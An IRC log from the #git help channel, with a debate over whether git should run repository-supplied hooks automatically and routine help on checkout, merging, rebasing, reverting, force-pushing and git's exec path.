sandr8 left16:28
lpapp how can you make sure whether they compromise your system if the repository is untrusted?16:28
canton7 do you have a text editor in mind?16:28
petersr joined16:28
liamkeily left16:29
lpapp git is inherently incomparable to text editors since as you pointed out they do not have "hooks".16:29
canton7 lpapp, ok, so you're redacting your point?16:29
lpapp but anyway, they can ship config files that mess up the tools badly.16:29
canton7 none of the ones I know will delete my documents because a particular file exists in the cwd16:29
and if one does, I will personally punch the developer16:29
because that's dumb and stupid16:30
vocifer joined16:30
lpapp canton7: no, I am standing behind my opinion that it has no secure addition to the already compromised system and hence it is a painful restrictions for trusted repositories and people that actually do check the codebase when using untrusted stuff.16:30
stevenvalladolid joined16:30
canton7 lpapp, then we'll have to agree to disagree16:30
lpapp make is also a "tool"16:30
the Makefile can very badly mess up your system.16:31
canton7 yeah, but it's one that's designed to execute arbitary code16:31
average dumb joe knows that it can do evil16:31
Cheaterman1 joined16:31
killtheliterate left16:31
lpapp so?16:31
canton7 average dumb joe trusts git16:31
tristanp joined16:31
lpapp why?16:31
git is god?16:31
:D16:31
canton7 so average dumb joe is probably going to think twice before running make16:31
and currently git is safe, and average dump joe has no reason to expect that git is anything different, or will suddenly become unsafe16:31
lpapp an average dumb joe should probably think twice before running git, too, in an untrusted repository.16:32
canton7 currently they don't have to think twice16:32
and that's good16:32
yaymukund joined16:32
chrisgeorge joined16:32
lpapp except that git makes many silly things16:32
canton7 what do you mean?16:33
lpapp when I ran git pull --rebase I lost my merge, just for one16:33
mizu_no_oto left16:33
lpapp I have to think *very* hard when using git.16:33
hexagoxel left16:33
lpapp it can screw the system up in many ways possible16:33
sinkensabe joined16:33
lpapp git reset --hard etc16:33
and I could enumerate ...16:33
robertt_dex joined16:33
lpapp git clean -fdx16:33
canton7 you can screw up your repo16:33
nothing will delete your documents16:33
P4_Denis joined16:33
lpapp git is simply not a Unix access control system16:33
and it should not pretend to be one.16:33
(IMHO)16:33
mikecmpbll left16:34
lpapp especially when the drawbacks outweighs "being secure".16:34
canton7 unfortunately, I think you'll find that's a very, very unpopular opinion16:34
mizu_no_oto joined16:34
lpapp commercial users in a well-trusted environment or people who actually do check the code to make sure are fscked16:34
canton7 I can't shake it, and I've given up trying16:34
lpapp I will check if perforce does a better job at this.16:35
canton7 lpapp, I would re-iterate the point I've made time after time, but I've run out of energy :P16:35
lpapp outweigh*16:35
canton7 yeah, let me know if it does16:35
a_le left16:35
iamjarvo left16:35
lpapp canton7: it is not so unpopular if you read the thread, actually.16:35
seems there have been more than just one bringing this up.16:35
canton7 lpapp, that thread agreed unanimously that automatically executing hooks was bad, and that there should be an explicit step to install them16:36
lpapp please only speak on your behalf.16:36
jonyfive joined16:36
canton7 likewise16:36
lpapp time to consider perforce ;)16:36
the last few disappointments were things that just work in there.16:37
pcypher joined16:37
lpapp perhaps, they have more energy and commercial-friendly approach when it comes to design principles.16:37
jontmorehouse joined16:37
lpapp based on the discussion above, git is designed for n00bs that work with ad-hoc untrusted repositories, at least in this regard anyhow.16:37
canton7 lpapp, hey, you're the one who refused to post on the list ;)16:37
lpapp this is unacceptably limiting for reasonable people.16:37
canton7 please, let me know if you find this functionality in any other vcs16:38
lpapp well, it would not be the first ...16:38
canton7 first..?16:38
P4_Denis left16:39
imkmf joined16:39
StolenToast left16:39
lpapp well, I have had many issues with git that I explained here in the past.16:39
canton7 at first clance, I can't see that perforce has client-side hooks at all16:40
lpapp sometimes I was even called troll... and in the end other vcs systems implemented what I wanted to have. ;-)16:40
marklite joined16:40
canton7 ah, the first issue you've had. fair enough16:40
lpapp anyhow, it looks like perforce supports it16:40
based on a quick-read16:40
canton7 link, please? I had a quick look too, and couldn't find anything16:40
StolenToast joined16:40
nettoweb joined16:41
canton7 everything I've found says that triggers are server-side only16:41
nettoweb left16:41
lpapp I will analyze more and will get back to it when I know the whole story, but either way, git seems to have made a decision to support headless noobs IMHO16:41
rather than reasonable guys here.16:41
maestrojed joined16:41
lpapp who use trusted repos or validate the content.16:41
canton7 no, it's very basic common sense :P16:41
nettoweb joined16:42
eletuchy joined16:42
lpapp check change-commit (trigger)16:43
I need to leave now, unfortunately.16:43
canton7 that's server-side, no?16:43
so no arbitary client-side code execution16:43
evildmp left16:43
Sonderblade joined16:43
canton7 it may be that a centralised, rather than distributed, vcs fits your use-case better16:44
in which case, p4 is probably the best out there imo16:44
Ariadeno left16:44
canton7 and I entirely accept that distributed vcss aren't for everyone, and centralised sometimes makes more sense. if you fit in that camp, go for it :)16:44
jottr_ left16:45
lpapp it has nothing to do with distributed or centralized16:45
that is a completely orthogonal thing16:45
baweaver joined16:45
canton7 it does have an impact: distributed requires that pre-commit hooks are executed on the client's machine, whereas centralised can execute them on the server16:46
Gizburdt joined16:46
canton7 so centralised can automatically execute pre-commit hooks, whereas distributed can't do this without some form of setup step16:46
lpapp still irrelevant because then you have to drop the distributed features16:46
canton7 not sure what you mean by that16:46
lpapp whereas I am suggesting that git could prefer reasonable users rather than headless noobs16:46
(whose system will be compromised at many other places anyway)16:46
canton7 we've been over this, and your opinion of how smart reasonable users is is, imo, flawed16:47
lpapp (see build tool)16:47
canton7 *users are is, imo16:47
on that point, it's a clash of opinions that isn't likely to be resolved, so I'm staying away from it16:47
lpapp so what I am saying distributed or centralized, this feature is very much needed in both circumstances, especially for commercial customers16:47
mteasdal joined16:47
mikecmpbll joined16:47
lpapp and I am happy to pay for the tool if it does a better job ^_^16:47
canton7 lpapp, sure, and maybe that makes centralised a better fit for you16:47
because having a centralised tool allows you to do what you need to do, safely16:48
epifanio left16:48
lpapp no, not at all. I would not like to lose the advatange of distributed.16:48
bvi left16:48
canton7 ok, find another distributed vcs which allows abitary hook execution16:48
lpapp the whole point is that it is *not* arbitrary.16:49
you have to check it or get a trusted source, or you are screwed.16:49
there is no other safe way around to it.16:49
canton7 yes. agreed.16:49
the difference here is "you must check a hook before explicitely installing it" and "you must check all hooks before running *any* git command"16:49
lpapp not fair, no.16:50
x0s_ left16:50
lpapp before any git command does not hold true, and even you agreed with that earlier16:50
clone can run just fine16:50
canton7 but there are hooks for lots of things16:50
kikimeter left16:50
canton7 so you need to check the checkout-related hooks before checking out, and the commit hooks before committing, and the merge hooks before merging, etc16:50
lpapp you need to check them after installing anyway16:51
canton7 and more hook events can be added to git at any time, which you need to remember to check before doing the appropriate action16:51
tvw left16:51
canton7 clarify what you mean by "installing"? installing the hook?16:51
Gizburdt left16:51
punchagan left16:51
enelar left16:51
lpapp no, sorry, let us drop the topic. It is clear that we will not reach agreement here.16:51
shigosei left16:51
canton7 yeah, I'm happy to do that16:52
I've done my best, and you likewise :P16:52
having a look a hg, you have to explicitely install hooks there, too16:52
justinmburrous left16:52
Hardtail joined16:52
coasterz joined16:53
canton7 my gut feel is that you will not find any vcs which runs hooks on a client's machine without an explicit install action. but please let me know if you find any - I'd be interested to see what their security discussion is16:53
Hardtail Hello there. I am a complete newcomer to using Git. I am actually going through a training module right now. The question says "HEAD~1 is a special commit identifier in git; it stands for the previous commit (not the one we just made, but the one before that). Can you use that identifier to check out the previous commit in this repository?" I enter "git commit HEAD~1" and failed.16:53
LucasTT joined16:54
lpapp I thought about doing our own VCS software :)16:54
I believe I could do better than git does for our job.16:54
I just need to find the funding for it :p16:54
iamjarvo joined16:54
canton7 Hardtail, you can, but the way you're doing it will result in a !detached head16:54
gitinfo Hardtail: A detached HEAD(aka "no branch") occurs when your HEAD does not point at a branch. New commits will NOT be added to any branch, and can easily be !lost. This can happen if you a) check out a tag, remote tracking branch, or SHA; or b) if you are in a submodule; or you are in the middle of a c) am or d) rebase that is stuck/conflicted. See !reattach16:54
ToxicFrog Hardtail: "git commit" is used to make new commits, not checkout old ones.16:54
ErKa joined16:54
canton7 the easiest way for a beginner is to create a branch at the commit you want to check out - git checkout mytempbranch HEAD~1"16:54
lpapp, go for it! that's why git was written :P16:54
lpapp canton7: yeah, I know, NIH rocks.16:55
I do not know why people hate it. IMHO, it is good to avoid lock-in and learn from mistakes in other projects, etc.16:55
canton7 tell me about it. medical software dev here, everything NIH has to be very carefully verified, so NIG syndrome is very prevelent16:55
*NIH16:55
stamina joined16:56
punchagan joined16:56
Hardtail gitinfo: Thank you for the information, I changed my answer to "git checkout HEAD~1" and it passed the question.16:56
gitinfo Hardtail: you're welcome, but please note that I'm a bot. I'm not programmed to care.16:56
Hardtail LOL16:57
canton7 :D16:57
mishunika left16:57
canton7 suggested that feature, and is loving it16:57
Hardtail That just made my day.16:57
Round of applause for canton7, that is hilarious. ToxicFrog thank you, I will not mix them up when I have to check old ones now.16:57
jheg_ left16:58
lpapp left16:58
hyperair left16:58
Quevin left16:59
pcypher_ joined17:01
Quevin joined17:01
a_le joined17:01
jayeshsolanki joined17:01
shinnya left17:01
canton7 yay!17:01
refried_ left17:01
jayeshsolanki left17:01
jayeshsolanki joined17:02
codeman left17:02
angelsl left17:03
Eugene !botsnack17:03
gitinfo Om nom nom17:03
pcypher left17:03
BSaboia left17:04
iamjarvo left17:04
pantsman- joined17:05
tristanp left17:05
martinkl_ left17:05
evildmp joined17:05
Stoob_ left17:05
Suchit_ joined17:05
dgpalmer joined17:06
shinnya joined17:06
RogerWS_ joined17:07
vurma joined17:07
justinmburrous joined17:09
iliketurtles joined17:09
dsdeiz left17:10
in_deep_thought left17:10
deuti left17:10
burhan__ left17:11
RogerWS left17:11
dccc_ left17:11
stamina left17:11
jottr_ joined17:11
brammm left17:11
mteasdal left17:12
ni__ joined17:13
dangerousdave joined17:13
dort left17:14
teran__ left17:14
mteasdal joined17:15
burhan_ joined17:15
jottr_ left17:16
yaymukund left17:16
digitalice joined17:16
digitalice hello17:16
gitinfo digitalice: hi! I'd like to automatically welcome you to #git, a place full of helpful gits. Got a question? Just ask it — chances are someone will answer fairly soon. The topic has links with more information about git and this channel. NB. it can't hurt to do a backup (type !backup for help) before trying things out, especially if they involve dangerous keywords such as --hard, clean, --force/-f, rm and so on.17:16
kermit joined17:17
digitalice Im working in a branch called i18n and I would like to get the changes made in master to my branch. How can I download and merge the changes from master into my branch?17:18
FofG joined17:18
srcerer joined17:19
Junior joined17:19
epifanio joined17:21
mihaicris left17:23
skorgon left17:23
skorgon joined17:24
Stoob_ joined17:24
dangerousdave left17:24
dangerousdave joined17:25
jontmorehouse left17:26
soerenb digitalice, in master or origin/master?17:26
bezet left17:26
jontmorehouse joined17:26
soerenb digitalice, most likely: git fetch origin and then either git merge origin/master or git rebase origin/master (while on i18n)17:26
digitalice soerenb, changes where made in origin/master I guess (in github master branch).17:27
jottr_ joined17:27
JosephFerano joined17:28
digitalice soerenb, whats the difference between rebase an merge?17:28
in_deep_thought joined17:28
ojacobson different graph transforms17:28
soerenb digitalice, !merge_vs_rebase17:28
gitinfo digitalice: [!merge_or_rebase] For a detailed discussion of the dis-/advantages of merge and rebase, and when to best use which, see: https://coderwall.com/p/ny1hia -- and here's how Linus explains which one to use: http://www.mail-archive.com/dri-devel@lists.sourceforge.net/msg39091.html17:28
acharlieh left17:29
ErKa left17:29
User458764 left17:29
digitalice soerenb, I used rebase and I got this message:17:30
# On branch i18n17:30
# Your branch and 'origin/i18n' have diverged,17:30
# and have 5 and 3 different commit(s) each, respectively.17:30
acharlieh joined17:30
soerenb well, you branch tracks origin/i18n and not origin/master17:30
qsuscs aren’t there stats for this channel somewhere?17:31
Macaveli joined17:32
soerenb digitalice, if origin/i18n is the remote version of your local i18n, your probably want/need to force push the new version, but be aware of !rewrite17:32
gitinfo digitalice: Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum17:32
jottr_ left17:32
bvi joined17:32
soerenb digitalice, probably !lol is helpful17:32
gitinfo digitalice: A nifty view of branches, tags, and other refs: git log --oneline --graph --decorate --all17:32
mihaicris joined17:32
Gizburdt joined17:33
lindenle left17:33
lilvinz joined17:33
mennea joined17:33
stiffi_ joined17:33
vurma left17:33
Suchit_ left17:34
FofG left17:34
marscher left17:35
mihaicris left17:35
gfixler joined17:35
hebz0rl left17:36
lsiv568 joined17:36
Suchit_ joined17:36
stiffi left17:37
pcypher_ left17:37
makesoda joined17:37
xolubi left17:38
pcypher joined17:38
cherwin left17:38
FofG joined17:38
alexwhitman joined17:38
ColKurtz joined17:38
palcu joined17:39
digitalice soerenb, mmm, im confused right now. I just want to merge origin/master into my branch i18n/master.17:39
justinmburrous left17:39
digitalice merge origin/master latest changes into i18n branch and solve the conflicts17:40
jonmorehouse joined17:40
arthurvr joined17:40
solker_ joined17:41
hyperair joined17:41
in_deep_thought left17:42
jontmorehouse left17:42
in_deep_thought joined17:43
tristanp joined17:43
makesoda left17:43
justinmburrous joined17:44
yaymukund joined17:44
evil-twin left17:45
sgen_ left17:45
jasonB joined17:46
joo-_ left17:46
jasonB left17:46
johnflux_ joined17:46
jbHat joined17:46
dangerousdave left17:46
lsiv568 left17:46
SebastianFlyte joined17:47
GinoMan joined17:47
joo-_ joined17:48
kopparam joined17:48
johnflux left17:48
dangerousdave joined17:48
davispuh left17:48
JeanCarloMachado left17:49
ncthom91 joined17:49
Macaveli left17:49
WormDr1nk left17:50
yaymukund left17:50
dccc_ joined17:51
papegaaij left17:51
shinnya left17:51
nfk left17:51
liamkeily joined17:51
davispuh joined17:51
johnflux_ left17:51
martinklepsch joined17:52
spareproject joined17:52
kopparam left17:52
thiago_ left17:53
Vivekananda_y510 left17:53
PaulCapestany joined17:54
Karpuragauram left17:54
thiago_ joined17:55
jpf joined17:55
Juzzika joined17:56
davispuh left17:56
synchronous joined17:58
deuti joined17:59
jceb joined17:59
thibaultcha joined18:00
marklite left18:00
nfk joined18:00
deuti left18:00
logix812 joined18:01
joo-_ left18:02
mennea left18:03
mennea joined18:03
jonmorehouse left18:04
akkad joined18:04
RogerWS joined18:04
sdrfnord1 joined18:05
arthurvr left18:05
JZv left18:06
treehug88 joined18:08
RogerWS_ left18:08
arthurvr joined18:09
Errorical joined18:09
joshin4colours joined18:09
martinklepsch left18:09
nnyk_ left18:10
jonmorehouse joined18:10
BlaXpirit joined18:11
mechanicalduck left18:11
mechanicalduck joined18:12
aswen joined18:12
paul424 joined18:12
pagioss left18:13
solker_ left18:13
Manny left18:13
kermit left18:13
Manny joined18:13
vanrysss joined18:14
thiago_thiago18:14
justinmburrous left18:15
svm_invictvs left18:15
dangerousdave left18:15
fabe left18:16
lrvick left18:16
[w_w] left18:16
jheg joined18:17
jason237 left18:18
Tommy[D] joined18:18
kopparam joined18:18
codeman joined18:19
LeMike joined18:19
akagr left18:19
liamkeily left18:19
JosephFerano left18:20
mechanicalduck left18:20
lindenle joined18:21
hahuang65 left18:21
mechanicalduck joined18:21
User458764 joined18:22
codeman left18:23
TeraJL left18:24
jheg left18:24
a_le left18:24
sandr8 joined18:24
kopparam left18:24
Guest78128 left18:24
liamkeily joined18:24
iamjarvo joined18:25
a_le joined18:25
dardevelin left18:26
User458764 left18:26
IlNominePatre joined18:27
stiffi_stiffi18:28
rdbell joined18:28
joshszep joined18:29
liamkeily left18:29
joshszep left18:29
liamkeily1 joined18:29
Fomina joined18:29
sandr8 left18:29
Sebtoast left18:29
Vile joined18:29
a_le left18:30
mechanicalduck left18:30
baweaver left18:31
a_le joined18:31
mechanicalduck joined18:31
lsiv568 joined18:31
mechanicalduck left18:32
justinmburrous joined18:32
mechanicalduck joined18:32
lsiv568 left18:32
ncthom91_ joined18:33
mechanicalduck left18:33
davispuh joined18:33
mennea left18:33
sallesao joined18:33
mechanicalduck joined18:33
mechanicalduck left18:34
P4_Denis joined18:34
hahuang65 joined18:34
leeN joined18:34
mizu_no_oto left18:34
mechanicalduck joined18:34
t_dot_zilla joined18:34
NoNMaDDeN left18:35
Tashi joined18:35
t_dot_zilla hello, i need to remove a commit which has been pushed18:35
ncthom91 left18:35
t_dot_zilla can someone tell me how i can do that?18:35
mechanicalduck left18:35
TashiGuest1862118:35
yaymukund joined18:35
arthurvr You probably want http://git-scm.com/docs/git-reset18:35
soerenb t_dot_zilla, have a look at !fixup and !rewrite18:35
gitinfo t_dot_zilla: So you lost or broke something or need to otherwise find, fix, or delete commits? Look at http://sethrobertson.github.com/GitFixUm/ for full instructions, or !fixup_hints for the tl;dr. Warning: changing old commits will require you to !rewrite published history!18:35
t_dot_zilla: Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum18:35
bvi left18:36
arthurvr and then to do a git push --force18:36
t_dot_zilla what about git revert?18:36
it was a merge commit too :/18:36
jonyfive left18:36
ncd|leeN left18:36
xbrantes joined18:36
bvi joined18:37
refried_ joined18:37
WaReZ joined18:37
kermit joined18:37
kermit left18:37
kermit joined18:37
t_dot_zilla oh lord, i realy screwed up my git now18:37
pagioss joined18:37
_ikke_ What did you do?18:37
t_dot_zilla git revert 5c3edb487a2d04d313d2208128da868994480d40 -m 118:38
lol, im going to just start again. i have the full diff18:38
mechanicalduck_ joined18:38
P4_Denis left18:39
maletor left18:39
_ikke_ git reset --hard HEAD^1 would undo that revert18:39
At least, if it was comitted, if it wasn't, git reset --hard should be enough18:39
RogerWS left18:40
pierre1_ left18:40
mennea joined18:40
mennea left18:41
mennea joined18:42
jonmorehouse left18:43
ColKurtz left18:43
bvi left18:44
carandraug left18:44
iamjarvo left18:44
kiran left18:44
t_dot_zilla _ikke_: how can i completely clear all commits from a branch?18:46
ni__ left18:46
dort joined18:46
sinkensabe left18:46
in_deep_thought left18:47
shinnya joined18:47
grawity if by that you mean "how can I make the branch start at master again", try `git reset --hard master`18:48
LeMike left18:48
NoNMaDDeN joined18:48
RogerWS joined18:49
hahuang65 left18:51
hebz0rl joined18:52
sysvalve joined18:52
eburcat left18:53
contorted joined18:53
lindenle left18:53
rdbell left18:53
eburcat joined18:53
contorted left18:53
bvi joined18:54
rdbell joined18:54
iliketurtles left18:54
t_dot_zilla maybe a better question is how do i copy a branch to mine18:54
mechanicalduck_ left18:55
bvi left18:56
lsiv568 joined18:56
liamkeily1 left18:56
iamjarvo joined18:56
Sasazuka left18:56
miosx left18:56
evildmp left18:57
bvi joined18:57
_ikke_ cherry-pick can copy commits18:57
mustafavelioglu joined18:57
pierre1_ joined18:57
EminenceHC left18:58
baweaver joined18:58
joshin4colours left18:59
iliketurtles joined18:59
kotopies joined18:59
soulwaves joined19:00
iliketurtles left19:00
Advocation joined19:00
skylite left19:01
EminenceHC joined19:01
jokke left19:02
upene joined19:02
liamkeily joined19:02
x0s_ joined19:03
mechanicalduck joined19:03
rath left19:03
justinmburrous left19:03
bvi left19:03
liamkeily left19:04
epifanio left19:04
johtso left19:05
ColKurtz joined19:05
digitalice left19:05
EminenceHC left19:05
ni__ joined19:07
edwardly Hello! I'm still having issues with a windows client using git-bash. A file shows up as untracked but unchanged, and as soon as git clean is done on it it shows up as changed with the status of "deleted"19:07
Is there any way to debug this?19:07
according to git check-ignore it isn't being ignored by anything19:07
maestrojed left19:07
yaymukund left19:09
LLaurent joined19:09
lsiv568 left19:10
dort left19:10
mechanicalduck left19:10
piccata left19:10
mechanicalduck joined19:11
pcypher left19:11
mechanicalduck left19:11
contorted joined19:12
mechanicalduck joined19:12
vocifer left19:12
sinkensabe joined19:13
cek joined19:14
cek Hi. how do I move pointer to last master commit , so that "git merge master" wont' bring all previous changes in that branch?19:15
marklite joined19:15
marscher joined19:15
Gizburdt left19:16
t_dot_zilla okay so i moved a ways back to previous commit19:17
jayeshsolanki left19:17
t_dot_zilla but i want to add new commits19:17
there were undone19:17
how can this be done?19:17
hexagoxel joined19:17
NoNMaDDeN left19:17
ciampix joined19:18
justinmburrous joined19:18
msankhala joined19:19
t_dot_zilla argg19:19
i did git merg HEAD sha-key19:19
thiago left19:19
mechanicalduck left19:19
t_dot_zilla and it brought all the other commits back19:19
kotopies left19:19
t_dot_zilla i just wanted sha = ab5677919:19
ciampix left19:20
marklitemarkelite19:20
mechanicalduck joined19:20
in_deep_thought joined19:20
mechanicalduck left19:20
mechanicalduck joined19:21
nnyk_ joined19:21
bvi joined19:22
zhangxaochen left19:22
purak joined19:22
bvi left19:24
mennea_ joined19:24
mennea left19:24
vurma joined19:25
dangerousdave joined19:25
paddymahoney joined19:25
zhangxaochen joined19:25
bezet joined19:27
ghostlines joined19:27
veebers joined19:29
iliketurtles joined19:29
nnyk joined19:29
evil-twin joined19:31
snuffeluffegus left19:31
kballou joined19:31
hguux joined19:31
bezet left19:31
nnyk_ left19:31
paddymahoney left19:32
aidalgol joined19:32
Gizburdt joined19:32
hstefan joined19:33
zhangxaochen left19:33
hahuang65 joined19:33
zhangxaochen joined19:33
jack_orange joined19:33
robertt_dex left19:34
robertt_dex joined19:34
kotopies joined19:34
sysvalve left19:34
yaymukund joined19:35
Mixologic left19:36
ciampix joined19:36
AKK9 joined19:36
refried_ left19:37
GinoMan left19:38
cek damn, i don't understand anything... svn was such an easy tool to use.....19:38
luto try a !book19:38
gitinfo There are several good books available about git; 'Pro Git' is probably the best: http://git-scm.com/book but also look at !bottomup !cs !gcs !designers !gitt !vcbe and !parable19:38
cek how do i revert a git rebase?19:39
Gizburdt left19:40
txdv if you have the sha, you can just check it out19:40
ncthom91_ left19:40
txdv there is no need to revert anything19:40
ncthom91 joined19:41
t_dot_zilla the damn merge commits seem impossible to remove19:41
cek i guess i ll have to update production ref19:41
pcypher joined19:42
cek btw, how do I update production back to that sha after I did rebase ?19:43
n-st left19:43
paddymahoney joined19:43
hstefan cek: you want something like a revert commit?19:43
cek Also, how do I invoke git in --dry-run mode? so that it doesn't merge and commit anything without my approval?19:43
hstefan: I don't need a revert, i want to undo production rebase19:44
Manny left19:45
nfk left19:45
ncthom91 left19:46
revyd joined19:46
pcypher left19:47
epifanio joined19:47
jason237 joined19:47
Gizburdt joined19:48
justinmburrous left19:48
Jackneill left19:48
iliketurtles left19:48
ciampix left19:49
ErKa joined19:49
kukks joined19:50
cek git reset --hard did its job of relocating pointer!19:50
Advocation left19:51
arthurvr left19:51
morphix0 joined19:51
iamjarvo left19:51
kopparam joined19:52
cek Also, how do I mage "git merge master" skip all the commits I cherry-picked? I want it to output "nothing to merge".19:52
Marcus_ joined19:52
nitrospectide joined19:52
baweaver left19:52
nitrospectide I have a workflow that involves a local repo, a hosted repo, and a web server repo. My usual flow is LOCAL -> HOSTED -> SERVER. All are using the Master branch. A little while back, I set up a copy of the same site at a subdomain so I could test some tweaks. I set up a repo in this dev subdomain, and pulled from the hosted repo - also the Master branch. Now, I realize I should have started a new dev branch locally, and pushed to that on the hosted repo, and19:53
mechanicalduck_ joined19:54
sinkensa_ joined19:54
moritz nitrospectide: truncated after "the hosted repo, and"19:54
SjB left19:55
Gizburdt left19:55
dort joined19:56
ni__ left19:56
punchagan left19:56
sinkensabe left19:56
mechanicalduck left19:56
justinmburrous joined19:57
mechanicalduck joined19:57
jds left19:57
jbHat left19:57
kotopies left19:57
GinoMan joined19:58
cek nitrospectide: use svn, man, you'll save nerves19:58
mustafavelioglu left19:58
pheaver left19:58
nnyk_ joined19:59
EminenceHC joined20:00
vital joined20:00
mechanicalduck_ left20:00
ni__ joined20:00
dort left20:01
mechanicalduck left20:01
nnyk left20:02
xSmurf left20:02
Junior left20:02
Fabioagain joined20:02
akiva left20:02
Fabioagain left20:02
ciampix joined20:03
ropav joined20:03
Fabioagain joined20:03
baweaver joined20:03
cagedwisdom joined20:04
maestrojed joined20:04
mennea_ left20:04
hcc23 left20:05
nitrospectide moritz: … pulled from THAT to my dev subdomain. Then I could merge locally when I am ready, and push to Master. That way, Master would always flow to the live site, and the Dev branch would always flow to the dev subdomain site. The problem is, I don't know how to get from where I am (everything using Master) to where I want to be (live site using Master, dev site using dev branch). What do I need to do?20:05
mennea joined20:05
ncthom91 joined20:05
hcc23 joined20:05
hidekin left20:05
mennea left20:05
mennea joined20:06
alvaro_o joined20:06
D-Boy left20:06
monokrome left20:06
lowkeyliesmyth joined20:06
thiago joined20:06
kaendfinger joined20:07
morphix0 left20:07
tranzfus_ joined20:07
morphix0 joined20:08
contorted left20:08
vanrysss left20:09
Tommy[D] left20:09
kopparam left20:09
SumDude left20:09
nnyk joined20:09
kopparam joined20:10
aidalgol left20:10
tranzfuse left20:10
nnyk_ left20:10
aidalgol joined20:11
in_deep_thought left20:11
mechanicalduck joined20:12
jonmorehouse joined20:12
Advocation joined20:13
pheaver joined20:13
Bash776 joined20:14
kopparam left20:14
in_deep_thought joined20:17
xSmurf joined20:18
tesaf joined20:19
morphix0 left20:20
Robarelli left20:22
D-Boy joined20:23
mustafavelioglu joined20:24
jiskiras joined20:25
jargon joined20:25
sandr8 joined20:25
gyeates left20:26
dangerousdave left20:26
bartlomiej_lewan joined20:26
petersr left20:27
mechanicalduck_ joined20:27
pcypher joined20:27
justinmburrous left20:27
dangerousdave joined20:27
mihaicris joined20:27
mihaicris_ joined20:28
bartlomiej_lewan Hey guys, I have a few questions about how git works. If I understand correctly, when I push something new, the repo that I am pushing to checks to see which objects are not there, to later send only the new ones20:28
mihaicris left20:28
bartlomiej_lewan Am I correct so far?20:28
jarlopez joined20:28
_ikke_ bartlomiej_lewan: It's based on refs / commits20:29
mechanicalduck left20:29
mechanicalduck_ left20:29
jarlopez left20:29
Robarelli joined20:30
bartlomiej_lewan _ikke_: I am trying to solve a small problem that has happened at the repo I am working at, a file has been commited and pushed that should not be there20:30
jarlopez joined20:30
sandr8 left20:30
jarlopez Hey peeps. I can only run `git fetch` as sudo, receiving the fatal error "Unable to find remote helper for 'https'". What to do? curl-devel is installed, and I just yum reinstalled git20:30
tranzfuse joined20:30
bartlomiej_lewan I have removed all with git filter-branch20:30
_ikke_ jarlopez: Does that happen when you run git fetch as root, or when you don't?20:30
sorenb joined20:30
LLaurent bartlomiej_lewan, Try adding the file to .gitignore. There must also be a way to remove all traces of a file if it contains confidential info (i.e. db credentials etc)20:31
_ikke_ bartlomiej_lewan: objects aren't removed from the server when you push new history without the object20:31
JGarrido joined20:31
bartlomiej_lewan but I am wondering if the commit is still somewhere in the remote repository, when I pushed with -f20:31
buffal0 joined20:31
jarlopez _ikke_: Nope, `git fetch` as root fetches correctly20:31
_ikke_ bartlomiej_lewan: The commit / tree and blob objects are still there20:31
iamjarvo joined20:31
jarlopez _ikke_: As me, it fails20:32
_ikke_ bartlomiej_lewan: But not being referenced anymore (if the filter-branch went correctly)20:32
sitology left20:32
_ikke_ jarlopez: try GIT_TRACE=1 git fetch20:32
paulweb515 left20:32
bartlomiej_lewan _ikke_: Yes, but is there a way to checkout the file? If somebody really wants to see it?20:32
pantsman- left20:32
teran joined20:32
qsuscs bartlomiej_lewan: only if they have direct access to the server (i.e. to the file system)20:32
_ikke_ bartlomiej_lewan: Only if that person has direct access to the server20:32
Not through the git protocol20:33
acharlie_ joined20:33
Guest55085 joined20:33
bartlomiej_lewan So git clone does not include the objects that do not have a reference?20:33
_ikke_ bartlomiej_lewan: correct20:33
lsiv568 joined20:33
Griffon27 left20:33
tranzfus_ left20:33
pierre1_ left20:33
jarlopez _ikke_: "run command 'git-remote-https' 'origin' 'https://<username>:<password>@github....'"20:33
jonmorehouse left20:33
jarlopez _ikke_: Then the same fatal error20:33
Guest55085sitology20:33
Advocation left20:34
_ikke_ which git-remote-https20:34
(command)20:34
bartlomiej_lewan _ikke_, qsuscs: ok, that explains it, thanks!20:34
x0s_ left20:34
jarlopez _ikke_: Haha I got you. You seem to have found the issue, it doesn't exist in my current $PATH20:34
jason237 left20:34
qsuscs jarlopez: which should be actually correct20:34
_ikke_ :-)20:34
P4_Denis joined20:34
mennea left20:34
_ikke_ it is in git-core20:35
qsuscs jarlopez: hmm. compare root’s path to yours please20:35
_ikke_ Which usually isn't in your $PATH20:35
Errorical left20:35
mennea joined20:35
sorenb left20:35
bartlomiej_lewan left20:35
qsuscs idea: two different versions of git, like /usr/local/ and /usr, and root has the right one first in $PATH20:35
acharlieh left20:35
a_le_ joined20:36
a_le left20:36
jiskiras left20:36
t_dot_zilla left20:36
_ikke_ wasn't there a way for git to show it's exec path?20:36
vipkilla joined20:37
sorenb joined20:37
vipkillat_dot_zilla20:37
qsuscs _ikke_: hmmmm there’s $GIT_EXEC_PATH … but if it’s unset, it uses some default20:37
_ikke_ yeah20:37
for me its /usr/lib/git-core20:37
jarlopez qsuscs, _ikke_ : git --exec-path20:37
sorenbsoerenb20:37
_ikke_ ah, I thought that was only for setting it20:37
what does it return?20:38
jonmorehouse joined20:38
jarlopez qsuscs, _ikke_ : Root's exec-path is /usr/libexec/git-core, mine's in /usr/LOCAL/libexec/git-core20:38
_ikke_ Ok20:38
so like qsuscs said20:38
different installs20:38
jarlopez Yeah20:38
Will setting mine to match root's exec-path fix it?20:38
zumba_addict left20:38
qsuscs jarlopez: likely not, fix $PATH20:39
cek left20:39
_ikke_ Do you have exec rights on /usr/lib/git-core?20:39
the files in there20:39
qsuscs: that shouldn't be in $PATH20:39
jarlopez _ikke_: I do20:39
_ikke_ jarlopez: try git --exec-path=/usr/libexec/git-core fetch20:39
qsuscs _ikke_: i mean, i guess he has /usr/local/bin:… as $PATH and root /usr/bin:…20:40
P4_Denis left20:40
_ikke_ qsuscs: Perhaps his system was setup like that?20:40
jarlopez _ikke_: That works just fine. Looks like I need to point my exec-path to /usr/libexec20:40
tbxyz joined20:40
_ikke_ do something like GIT_EXEC_PATH=.. in your $TERMrc20:40
sitology left20:41
qsuscs _ikke_: sounds rather like an install bypassing the package manager—most distros do not add /usr/local/bin to root’s path20:41
LeMike joined20:41
t_dot_zilla left20:42
Guest12297 joined20:42
zhangxaochen left20:43
